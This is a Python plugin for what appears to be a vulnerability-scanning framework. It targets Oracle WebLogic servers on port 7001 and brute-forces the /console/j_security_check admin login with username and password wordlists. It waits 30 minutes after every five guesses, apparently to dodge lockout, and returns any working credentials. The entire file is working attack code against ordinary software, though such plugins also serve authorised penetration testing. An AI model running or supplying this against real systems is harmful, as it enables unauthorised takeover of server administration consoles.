from __future__ import with_statement

import time

from lib.classloader import register
from lib.pocbase import  pocbase


import thirdparty.requests;


class testpoc(pocbase):
    
    def __init__(self):
        super(testpoc, self).__init__();
    
    def _match(self, infodict):
        port =  infodict["port"] if infodict.get("port")  else  80;
        version = infodict["service_version"] if infodict.get("service_version") else "";
        return int(port) == 7001 or version.lower().find("weblogic") != -1;

    def _verify(self, infodict):
        host = infodict["ip"];
        port = infodict["port"];
        url = "%s://%s:%s/console/j_security_check"%("https"if infodict.get("service_type") and infodict["service_type"].find("ssl") != -1 else "http", host, str(port));
        result = infodict;
        result["success"] = False;
        with open("data/weblogic-username.txt") as username:
            with open("data/weblogic-password.txt") as password:
                passwords = password.readlines();
                usernames = username.readlines();
                cnt = 0;
                for u in usernames:
                    for p in passwords:
                        u = u.strip();
                        p = p.strip();
                        u = u.replace("\r", "")
                        u = u.replace("\n", "")
                        p = p.replace("\r", "")
                        p = p.replace("\n", "")                        
                        s = thirdparty.requests.post(url,data ={"j_username":u, "j_password":p}, timeout=10 * 60)
                        if s.content.count('Home Page') !=0 or s.content.count('WebLogic Server Console') !=0 or s.content.count('console.portal') !=0:                            
                            result["success"] = True
                            result["extra"] = "user:pass=%s:%s"%(u, p)
                            return result; 
                        cnt += 1
                        if cnt % 5 == 0:
                            time.sleep(60 * 30);
        return result;
register(__file__, testpoc)